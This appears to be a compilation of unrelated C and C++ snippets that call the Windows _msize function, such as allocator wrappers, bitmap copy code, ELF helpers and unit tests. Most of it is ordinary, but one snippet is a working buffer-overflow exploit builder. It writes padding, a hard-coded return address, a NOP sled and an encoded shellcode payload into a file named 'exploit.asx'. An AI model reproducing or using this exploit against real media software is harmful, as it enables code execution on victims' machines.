scMemHandle MEMResizeHndDebug( scMemHandle obj, ulong reqSize, const char* file, int line ) { int size1 = 0; if ( obj ) size1 = _msize( obj ); if ( !obj ) obj = MEMAllocHndDebug( reqSize, file, line ); else { scAssert( ((MacHandle*)obj)->Count() == 0 ); // don't resize a locked handle obj = (scMemHandle)realloc( obj, reqSize + sizeof( MacHandle ) ); } MacHandle macHandle( obj ); *(MacHandle*)obj = macHandle; int size2 = _msize( obj ) - sizeof( MacHandle ); dbgTrackAmount( reqSize - size1 ); return obj; }
void test_repositorySave() { Repository repo; repository_init(&repo, "repoTests.txt"); assert(_msize(repo.objects) == sizeof(Vector)); assert(vector_getLen(repo.objects) == 10); // Create object StoreObject* obj = malloc(sizeof(StoreObject)); Product* prod = malloc(sizeof(Product)); product_init(prod, "Chitara", "Conteaza", "MadeInChina"); storeObject_init(obj, 15, prod, 100, "azi", 200); // Add Object repository_AddObject(&repo, obj); repository_Save(&repo); repository_destroy(&repo); Repository repo2; repository_init(&repo2, "repoTests.txt"); assert(_msize(repo2.objects) == sizeof(Vector)); assert(vector_getLen(repo2.objects) == 11); repository_DeleteObjectByID(&repo2, 15); repository_Save(&repo2); repository_destroy(&repo2); }
bool tAddNode(const char* pType, const unsigned char* pValue, bool delim, bool nullTerminated, bool unicode) { struct tNode* pTokenNode; pTokenNode = (struct tNode *) calloc( 1, sizeof(struct tNode ) ); if( pTokenNode == NULL ) //error allocating node return false; else { //ok allocating node memset(pTokenNode->chTokenType, NULL, 3); pTokenNode->pTokenValue = NULL; memcpy_s (pTokenNode->chTokenType, _countof(pTokenNode->chTokenType), pType, strlen((char*)pType)); pTokenNode->pTokenValue = (unsigned char*) calloc (_msize((unsigned char*)pValue), sizeof(char)); if (pTokenNode->pTokenValue == NULL) return false; memcpy_s (pTokenNode->pTokenValue, _msize(pTokenNode->pTokenValue), pValue, _msize((char*)pValue)); pTokenNode->bDelim = delim; pTokenNode->bNullTerminated = nullTerminated; pTokenNode->bUnicode = unicode; pTokenNode->next = NULL; } nNodeCount++; tAdd(pTokenNode); return true; }
int AFX_CDECL AfxCriticalNewHandler(size_t nSize) // nSize is already rounded { // called during critical memory allocation // free up part of the app's safety cache TRACE0("Warning: Critical memory allocation failed!\n"); _AFX_THREAD_STATE* pThreadState = AfxGetThreadState(); if (pThreadState != NULL && pThreadState->m_pSafetyPoolBuffer != NULL) { size_t nOldBufferSize = _msize(pThreadState->m_pSafetyPoolBuffer); if (nOldBufferSize <= nSize + MIN_MALLOC_OVERHEAD) { // give it all up TRACE0("Warning: Freeing application's memory safety pool!\n"); free(pThreadState->m_pSafetyPoolBuffer); pThreadState->m_pSafetyPoolBuffer = NULL; } else { BOOL bEnable = AfxEnableMemoryTracking(FALSE); _expand(pThreadState->m_pSafetyPoolBuffer, nOldBufferSize - (nSize + MIN_MALLOC_OVERHEAD)); AfxEnableMemoryTracking(bEnable); TRACE3("Warning: Shrinking safety pool from %d to %d to satisfy request of %d bytes.\n", nOldBufferSize, _msize(pThreadState->m_pSafetyPoolBuffer), nSize); } return 1; // retry it } TRACE0("ERROR: Critical memory allocation from safety pool failed!\n"); AfxThrowMemoryException(); // oops return 0; }
// Copy constructor CDIB::CDIB(const CDIB &dib) { m_pBMI = (BITMAPINFO *) malloc(_msize(dib.m_pBMI)); memcpy(m_pBMI, dib.m_pBMI, _msize(dib.m_pBMI)); m_pBits = (BYTE *)malloc(_msize(dib.m_pBits)); memcpy(m_pBits, dib.m_pBits, _msize(dib.m_pBits)); m_bMyBits = TRUE; }
static void* lzham_default_realloc(void* p, size_t size, size_t* pActual_size, lzham_bool movable, void* pUser_data) { LZHAM_NOTE_UNUSED(pUser_data); void* p_new; if (!p) { p_new = malloc(size); LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 ); if (pActual_size) *pActual_size = p_new ? _msize(p_new) : 0; } else if (!size) { free(p); p_new = NULL; if (pActual_size) *pActual_size = 0; } else { void* p_final_block = p; #ifdef WIN32 p_new = _expand(p, size); #else p_new = NULL; #endif if (p_new) { LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 ); p_final_block = p_new; } else if (movable) { p_new = realloc(p, size); if (p_new) { LZHAM_ASSERT( (reinterpret_cast<ptr_bits_t>(p_new) & (LZHAM_MIN_ALLOC_ALIGNMENT - 1)) == 0 ); p_final_block = p_new; } } if (pActual_size) *pActual_size = _msize(p_final_block); } return p_new; }
int main() { int i; char *overwrite_offset = malloc(255); for(i = 0; i < 255; i += 5) { char padding[] = "\x41\x41\x41\x41\x41"; memcpy(overwrite_offset + i, padding, strlen(padding)); } memset(overwrite_offset + _msize(overwrite_offset) - 1, 0x00, 1); char retn[] = "\x92\x72\x23\x74"; char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP sled "\xdb\xc8\xd9\x74\x24\xf4\xbd\xaf\x93\x43\xb4\x5e\x31\xc9\xb1" "\x52\x31\x6e\x17\x83\xee\xfc\x03\xc1\x80\xa1\x41\xe1\x4f\xa7" "\xaa\x19\x90\xc8\x23\xfc\xa1\xc8\x50\x75\x91\xf8\x13\xdb\x1e" "\x72\x71\xcf\x95\xf6\x5e\xe0\x1e\xbc\xb8\xcf\x9f\xed\xf9\x4e" "\x1c\xec\x2d\xb0\x1d\x3f\x20\xb1\x5a\x22\xc9\xe3\x33\x28\x7c" "\x13\x37\x64\xbd\x98\x0b\x68\xc5\x7d\xdb\x8b\xe4\xd0\x57\xd2" "\x26\xd3\xb4\x6e\x6f\xcb\xd9\x4b\x39\x60\x29\x27\xb8\xa0\x63" "\xc8\x17\x8d\x4b\x3b\x69\xca\x6c\xa4\x1c\x22\x8f\x59\x27\xf1" "\xed\x85\xa2\xe1\x56\x4d\x14\xcd\x67\x82\xc3\x86\x64\x6f\x87" "\xc0\x68\x6e\x44\x7b\x94\xfb\x6b\xab\x1c\xbf\x4f\x6f\x44\x1b" "\xf1\x36\x20\xca\x0e\x28\x8b\xb3\xaa\x23\x26\xa7\xc6\x6e\x2f" "\x04\xeb\x90\xaf\x02\x7c\xe3\x9d\x8d\xd6\x6b\xae\x46\xf1\x6c" "\xd1\x7c\x45\xe2\x2c\x7f\xb6\x2b\xeb\x2b\xe6\x43\xda\x53\x6d" "\x93\xe3\x81\x22\xc3\x4b\x7a\x83\xb3\x2b\x2a\x6b\xd9\xa3\x15" "\x8b\xe2\x69\x3e\x26\x19\xfa\xed\xa7\x55\x71\x85\xc5\x95\x84" "\xed\x43\x73\xec\x01\x02\x2c\x99\xb8\x0f\xa6\x38\x44\x9a\xc3" "\x7b\xce\x29\x34\x35\x27\x47\x26\xa2\xc7\x12\x14\x65\xd7\x88" "\x30\xe9\x4a\x57\xc0\x64\x77\xc0\x97\x21\x49\x19\x7d\xdc\xf0" "\xb3\x63\x1d\x64\xfb\x27\xfa\x55\x02\xa6\x8f\xe2\x20\xb8\x49" "\xea\x6c\xec\x05\xbd\x3a\x5a\xe0\x17\x8d\x34\xba\xc4\x47\xd0" "\x3b\x27\x58\xa6\x43\x62\x2e\x46\xf5\xdb\x77\x79\x3a\x8c\x7f" "\x02\x26\x2c\x7f\xd9\xe2\x5c\xca\x43\x42\xf5\x93\x16\xd6\x98" "\x23\xcd\x15\xa5\xa7\xe7\xe5\x52\xb7\x82\xe0\x1f\x7f\x7f\x99" "\x30\xea\x7f\x0e\x30\x3f"; int buffer_size = _msize(overwrite_offset) + strlen(retn) + strlen(shellcode); char *buffer = malloc(buffer_size); memcpy(buffer, overwrite_offset, _msize(overwrite_offset)); memcpy(buffer + _msize(overwrite_offset), retn, strlen(retn)); memcpy(buffer + _msize(overwrite_offset) + strlen(retn), shellcode, strlen(shellcode)); memset(buffer + buffer_size - 1, 0x00, 1); FILE * fp; fp = fopen("exploit.asx","w"); fprintf(fp, buffer); fclose(fp); return 0; }
//=========================================================================== // // Parameter: - // Returns: - // Changes Globals: - //=========================================================================== int MemorySize(void *ptr) { #if defined(WIN32) || defined(_WIN32) #ifdef __WATCOMC__ //Intel 32 bits memory addressing, 16 bytes aligned return (_msize(ptr) + 15) >> 4 << 4; #else return _msize(ptr); #endif #else return 0; #endif } //end of the function MemorySize
void *M_Realloc(void *memblock, size_t size) { if (memblock != NULL) { GC::AllocBytes -= _msize(memblock); } void *block = realloc(memblock, size); if (block == NULL) { I_FatalError("Could not realloc %zu bytes", size); } GC::AllocBytes += _msize(block); return block; }
void *M_Realloc_Dbg(void *memblock, size_t size, const char *file, int lineno) { if (memblock != NULL) { GC::AllocBytes -= _msize(memblock); } void *block = _realloc_dbg(memblock, size, _NORMAL_BLOCK, file, lineno); if (block == NULL) { I_FatalError("Could not realloc %zu bytes", size); } GC::AllocBytes += _msize(block); return block; }
// assignment operator CDIB &CDIB::operator=(const CDIB &dib) { // delete any existing stuff (Don't reuse since we might // waste a lot of memory) if (m_pBMI != NULL) free(m_pBMI); if (m_bMyBits && (m_pBits != NULL)) free(m_pBits); // create the new stuff m_pBMI = (BITMAPINFO *) malloc(_msize(dib.m_pBMI)); memcpy(m_pBMI, dib.m_pBMI, _msize(dib.m_pBMI)); m_pBits = (BYTE *)malloc(_msize(dib.m_pBits)); memcpy(m_pBits, dib.m_pBits, _msize(dib.m_pBits)); m_bMyBits = TRUE; return *this; }
void str_delfreelines(TSTR_LIST *list) { int count,i,j; TSTR_LIST p; count=_msize(*list)/sizeof(*p); j=0; for(i=0;i<count;i++) if ((*list)[i]!=NULL) (*list)[j++]=(*list)[i]; if (j==0) j++; p=(TSTR_LIST)realloc(*list,j*sizeof(*p)); if (p!=NULL) *list=p; count=_msize(*list)/sizeof(*p); for(i=j;i<count;i++) (*list)[i]=NULL; }
void NXLFSMessageCache::trim() { size_t m = 0; size_t r = 0; int c = 0; long conn = 10; const NXLFSConfigNews* cfg = NXLFSConfigNews::i(); if(cfg) conn = cfg->conn(); for(size_t i = 0; i < m_listlen; i++) { int j = (m_listlen + m_oid - i) % m_listlen; if(!m_list[j]) continue; m += m_list[j]->len; // data r += _msize(m_list[j]); // real memory, not everything is used c++; //--- note: still debating if r > or m > is better --- // r > is more accurate to maxmem, but heap fragmenation if(c > conn && r > m_maxmem) { if(NXLOG.cache > 2) printf("cache:\t%-10s %d\t%d\t%s\n", "delete", j, m_oid, m_list[j]->msgid); NXfree(m_list[j]); m_list[j] = NULL; } } if(NXLOG.cache > 1) printf("cache:\t%-10s %d items, %d bytes, %d mem, %d oid\n", "stats", c, m, r, m_oid); }
scMemHandle MEMDupHndDebug( scMemHandle obj, const char *filename, int line ) { scMemHandle hnd; if ( !RandomFailure() ) { ulong sz = _msize( obj ) - sizeof( MacHandle ); hnd = MEMAllocHndDebug( sz, filename, line ); try { void* srcP = MEMLockHnd( obj ); void* dstP = MEMLockHnd( hnd ); SCmemcpy( dstP, srcP, sz ); } catch (...) { MEMUnlockHnd( hnd ); MEMUnlockHnd( obj ); throw; } MEMUnlockHnd( hnd ); MEMUnlockHnd( obj ); } else hnd = NULL; raise_if( !hnd, scERRmem ); memRecordTrackInfo( hnd, filename, line ); return hnd; }
void morph_macro(macro_list **ppList, char *pMacro, char *pMorph, char *pPrintf) { macro_list *pEntry = NULL; if(ppList == NULL || pMacro == NULL || pMorph == NULL || pPrintf == NULL) { return; } /* Find macro of said name. * Case insensitive. */ pEntry = *ppList; while(pEntry) { if(stricmp(pEntry->m_pMacro, pMacro) == 0) { break; } pEntry = pEntry->m_pNext; } if(pEntry) { char_list *pFilename = NULL; char aPath[_MAX_PATH]; char aDrive[_MAX_DRIVE]; char aDir[_MAX_DIR]; char aFName[_MAX_FNAME]; char aExt[_MAX_EXT]; char *pBuffer = NULL; /* Start with buffer size needed. * We expand this as we go along if needed. */ pBuffer = (char *)malloc(strlen(pMorph) + 2); strcpy(pBuffer, pMorph); strcat(pBuffer, "="); /* Go through each value, converting over to new macro. */ pFilename = pEntry->m_pValue; while(pFilename) { _splitpath(pFilename->m_pString, aDrive, aDir, aFName, aExt); /* Expand buffer by required amount. */ sprintf(aPath, pPrintf, aFName); strcat(aPath, " "); pBuffer = (char *)realloc(pBuffer, _msize(pBuffer) + strlen(aPath)); strcat(pBuffer, aPath); pFilename = pFilename->m_pNext; } /* Add the macro. */ add_macro(pBuffer, ppList); free(pBuffer); pBuffer = NULL; } }
size_t onmsize( const void* memblock ) { size_t sz = 0; if (memblock) { #if defined(ON_COMPILER_MSC) sz = _msize( (void*)memblock ); #elif defined(ON_COMPILER_XCODE) sz = malloc_size( (void*)memblock ); #else // No predictable function exists and // nothing in core opennurbs code uses // onmsize(). If you find a portable // way to support another compiler or // platform, then report it to the support // contact on http://opennurbs.org and // the code will be added in the next release. ON_ERROR("onmsize not implemented on this compiler or platform."); sz = 0; #endif } return sz; }
static char* _elf_newehdr(Elf *elf, unsigned cls) { size_t size; if (!elf) { return NULL; } elf_assert(elf->e_magic == ELF_MAGIC); if (elf->e_readable) { return _elf_getehdr(elf, cls); } else if (!elf->e_ehdr) { size = _msize(cls, _elf_version, ELF_T_EHDR); elf_assert(size); if ((elf->e_ehdr = (char*)malloc(size))) { memset(elf->e_ehdr, 0, size); elf->e_free_ehdr = 1; elf->e_ehdr_flags |= ELF_F_DIRTY; elf->e_kind = ELF_K_ELF; elf->e_class = cls; return elf->e_ehdr; } seterr(ERROR_MEM_EHDR); } else if (elf->e_class != cls) { seterr(ERROR_CLASSMISMATCH); } else { elf_assert(elf->e_kind == ELF_K_ELF); return elf->e_ehdr; } return NULL; }
const char *str_replace(TSTR_LIST *list,int line,const char *text) { int count,i,j; TSTR_LIST p; char *c; count=str_count(*list); if (line>=count) { int plus; plus=count-line; plus=(plus/STR_REALLOC_STEP+1)*STR_REALLOC_STEP; p=getmem((count+plus)*sizeof(*p)); memcpy(p,*list,count*sizeof(*p)); free(*list); j=_msize(p)/sizeof(*p); i=count; for(;i<j;i++) p[i]=NULL; i=count;count=j; *list=p; } if ((*list)[line]!=NULL) free((*list)[line]); if (text!=NULL) { c=(char *)getmem(strlen(text)+1); if (c==NULL) return NULL; strcpy(c,text); } else c=NULL; (*list)[line]=c; return c; }
/* * Extension: report memory size */ size_t gelf_msize(Elf *elf, Elf_Type type, size_t count, unsigned ver) { size_t n; if (elf) { if (elf->e_kind != ELF_K_ELF) { seterr(ERROR_NOTELF); } else if (!valid_class(elf->e_class)) { seterr(ERROR_UNKNOWN_CLASS); } else if (!valid_version(ver)) { seterr(ERROR_UNKNOWN_VERSION); } else if (!valid_type(type)) { seterr(ERROR_UNKNOWN_TYPE); } else if (!(n = _msize(elf->e_class, ver, type))) { seterr(ERROR_UNKNOWN_TYPE); } else { return count * n; } } return 0; }
extern "C" size_t __cdecl _aligned_msize_base( void* block, size_t align, size_t offset ) { size_t header_size = 0; /* Size of the header block */ size_t footer_size = 0; /* Size of the footer block */ size_t total_size = 0; /* total size of the allocated block */ size_t user_size = 0; /* size of the user block*/ uintptr_t gap = 0; /* keep the alignment of the data block */ /* after the sizeof(void*) aligned pointer */ /* to the beginning of the allocated block */ uintptr_t ptr = 0; /* computes the beginning of the allocated block */ _VALIDATE_RETURN(block != nullptr, EINVAL, static_cast<size_t>(-1)); /* HEADER SIZE + FOOTER SIZE = GAP + ALIGN + SIZE OF A POINTER*/ /* HEADER SIZE + USER SIZE + FOOTER SIZE = TOTAL SIZE */ ptr = (uintptr_t)block; /* ptr points to the start of the aligned memory block */ ptr = (ptr & ~(PTR_SZ - 1)) - PTR_SZ; /* ptr is one position behind memblock */ /* the value in ptr is the start of the real allocated block */ ptr = *((uintptr_t *)ptr); /* after dereference ptr points to the beginning of the allocated block */ total_size = _msize((void*)ptr); header_size = (uintptr_t) block - ptr; gap = (0 - offset) & (PTR_SZ - 1); /* Alignment cannot be less than sizeof(void*) */ align = (align > PTR_SZ ? align : PTR_SZ) -1; footer_size = gap + align + PTR_SZ - header_size; user_size = total_size - header_size - footer_size; return user_size; }
void test_repositoryCreateDestroy() { Repository repo; repository_init(&repo, "repoTests.txt"); assert(_msize(repo.objects) == sizeof(Vector)); assert(vector_getLen(repo.objects) == 10); // Test 2 elements // #1 assert(storeObject_GetID(vector_getAt(repo.objects, 1)) == 2); assert(!strcmp(product_GetType(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "Laptop")); assert(!strcmp(product_GetModel(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "v3.2")); assert(!strcmp(product_GetManufacturer(storeObject_GetProduct(vector_getAt(repo.objects, 1))), "Lenovo")); assert(storeObject_GetPrice(vector_getAt(repo.objects, 1)) == 5200); assert(storeObject_GetQuantity(vector_getAt(repo.objects, 1)) == 69); // #2 assert(storeObject_GetID(vector_getAt(repo.objects, 9)) == 10); assert(!strcmp(product_GetType(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "Laptop")); assert(!strcmp(product_GetModel(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "v12.3")); assert(!strcmp(product_GetManufacturer(storeObject_GetProduct(vector_getAt(repo.objects, 9))), "HP")); assert(storeObject_GetPrice(vector_getAt(repo.objects, 9)) == 2200); assert(storeObject_GetQuantity(vector_getAt(repo.objects, 9)) == 69); repository_destroy(&repo); //assert(_msize(repo.objects) == -1); //assert(_msize(repo.fileName) == -1); }
size_t __cdecl iso_aligned_msize(void *ptr, size_t alignment, size_t offset) { size_t header_size; /* Size of the header block */ size_t footer_size; /* Size of the footer block */ size_t total_size; /* total size of the allocated block */ size_t user_size; /* size of the user block*/ uintptr_t uintptr_offset; /* keep the alignment of the data block */ /* after the sizeof(void*) aligned pointer */ /* to the beginning of the allocated block */ /* HEADER SIZE + FOOTER SIZE = uintptr_offset + ALIGNMENT + SIZE OF A POINTER*/ /* HEADER SIZE + USER SIZE + FOOTER SIZE = TOTAL SIZE */ _ASSERT(ptr != NULL); ALIGN_BLOCK_HEADER *pBlockHdr = NULL; /* points to the beginning of the allocated block*/ pBlockHdr = (ALIGN_BLOCK_HEADER *)((uintptr_t)ptr & ~(sizeof(uintptr_t) - 1)) - 1; #ifdef __linux__ total_size = malloc_usable_size(pBlockHdr->pvAlloc); #else total_size = _msize(pBlockHdr->pvAlloc); #endif header_size = (uintptr_t)ptr - (uintptr_t)(pBlockHdr->pvAlloc); uintptr_offset = (0 - offset) & (sizeof(uintptr_t) - 1); /* The align cannot be smaller than the sizeof(uintptr_t) */ alignment = (alignment > sizeof(uintptr_t) ? alignment : sizeof(uintptr_t)) -1; footer_size = alignment + sizeof(ALIGN_BLOCK_HEADER) + uintptr_offset - header_size; user_size = total_size - header_size - footer_size; return user_size; }
GElf_Phdr* gelf_getphdr(Elf *elf, int ndx, GElf_Phdr *dst) { GElf_Phdr buf; char *tmp; size_t n; if (!elf) { return NULL; } elf_assert(elf->e_magic == ELF_MAGIC); tmp = _elf_getphdr(elf, elf->e_class); if (!tmp) { return NULL; } if (ndx < 0 || ndx >= elf->e_phnum) { seterr(ERROR_BADINDEX); return NULL; } n = _msize(elf->e_class, _elf_version, ELF_T_PHDR); if (n == 0) { seterr(ERROR_UNIMPLEMENTED); return NULL; } if (!dst) { dst = &buf; } if (elf->e_class == ELFCLASS64) { *dst = *(Elf64_Phdr*)(tmp + ndx * n); } else if (elf->e_class == ELFCLASS32) { Elf32_Phdr *src = (Elf32_Phdr*)(tmp + ndx * n); check_and_copy(GElf_Word, dst, src, p_type, NULL); check_and_copy(GElf_Word, dst, src, p_flags, NULL); check_and_copy(GElf_Off, dst, src, p_offset, NULL); check_and_copy(GElf_Addr, dst, src, p_vaddr, NULL); check_and_copy(GElf_Addr, dst, src, p_paddr, NULL); check_and_copy(GElf_Xword, dst, src, p_filesz, NULL); check_and_copy(GElf_Xword, dst, src, p_memsz, NULL); check_and_copy(GElf_Xword, dst, src, p_align, NULL); } else { if (valid_class(elf->e_class)) { seterr(ERROR_UNIMPLEMENTED); } else { seterr(ERROR_UNKNOWN_CLASS); } return NULL; } if (dst == &buf) { dst = (GElf_Phdr*)malloc(sizeof(GElf_Phdr)); if (!dst) { seterr(ERROR_MEM_PHDR); return NULL; } *dst = buf; } return dst; }
void MemFreeReal( PTR ptr, const STR8 pcFile, INT32 iLine ) { UINT32 uiSize; if ( !fMemManagerInit ) DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_0, String("MemFree: Warning -- Memory manager not initialized -- Line %d in %s", iLine, pcFile) ); if (ptr != NULL) { uiSize = _msize(ptr); guiMemTotal -= uiSize; guiMemFreed += uiSize; _free_dbg( ptr, _NORMAL_BLOCK ); #ifdef DEBUG_MEM_LEAKS DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_1, String("MemFree %p: %d bytes (line %d file %s)", ptr, uiSize, iLine, pcFile) ); #endif } else { DbgMessage( TOPIC_MEMORY_MANAGER, DBG_LEVEL_0, String("MemFree ERROR: NULL ptr received (line %d file %s)", iLine, pcFile) ); } // count even a NULL ptr as a MemFree, not because it's really a memory leak, but because it is still an error of some // sort (nobody should ever be freeing NULL pointers), and this will help in tracking it down if the above DbgMessage // is not noticed. MemDebugCounter--; }
MacHandle( scMemHandle ptr ) : block_( (char*)ptr + sizeof( MacHandle ) ), magic_( 0xfafafafa ), count_( 0 ), size_( _msize( ptr ) - sizeof( MacHandle ) ) { }
void * __cdecl operator new(unsigned int size,const char *file,int line) { void *p; p = _malloc_dbg(size,_NORMAL_BLOCK,file,line); MemoryUsedCount+=_msize(p); return p; }
ulong MEMGetSizePtr( const void *obj ) { if ( obj == 0 ) return 0; return _msize( (void*)obj ); }
ulong MEMGetSizeHnd( scMemHandle obj ) { if ( obj == 0 ) return 0; return _msize( (void*)obj ) - sizeof( MacHandle ); }
BYTE* CSMemFile::Realloc(BYTE* lpOldMem, SIZE_T nBytes) { if (nBytes == 0) { trashMemory(lpOldMem, m_size); Free(lpOldMem); m_size = 0; return NULL; } size_t old_size = _msize((void *)lpOldMem); ASSERT(m_size == old_size); BYTE* lpNewMem = (BYTE *)malloc(nBytes); if (lpNewMem == NULL) { trashMemory(lpOldMem, old_size); free(lpOldMem); m_size = 0; return NULL; } memcpy_s((void *)lpNewMem, nBytes, (void *)lpOldMem, old_size); trashMemory(lpOldMem, old_size); free(lpOldMem); m_size = nBytes; return lpNewMem; }
int AddToAddresses(char **Addresses, int *cnt, CSADDR_INFO *csaddr) { int csize; struct in_addr *sinaddr; char *addr; struct in_addr *addr_list; struct sockaddr_in *sin; sin = (struct sockaddr_in *) csaddr->RemoteAddr.lpSockaddr; if (*Addresses != NULL) { csize = _msize(*Addresses); addr_list = realloc(*Addresses, csize + sizeof(struct in_addr)); } else { csize = 0; addr_list = malloc(sizeof(struct in_addr)); } addr = (char *) addr_list; sinaddr = &((struct in_addr*) addr)[(*cnt)]; memset(sinaddr, 0, sizeof(sinaddr)); memcpy(sinaddr, &sin->sin_addr, sizeof(struct in_addr)); (*cnt)++; *Addresses = (char *) addr_list; return 0; }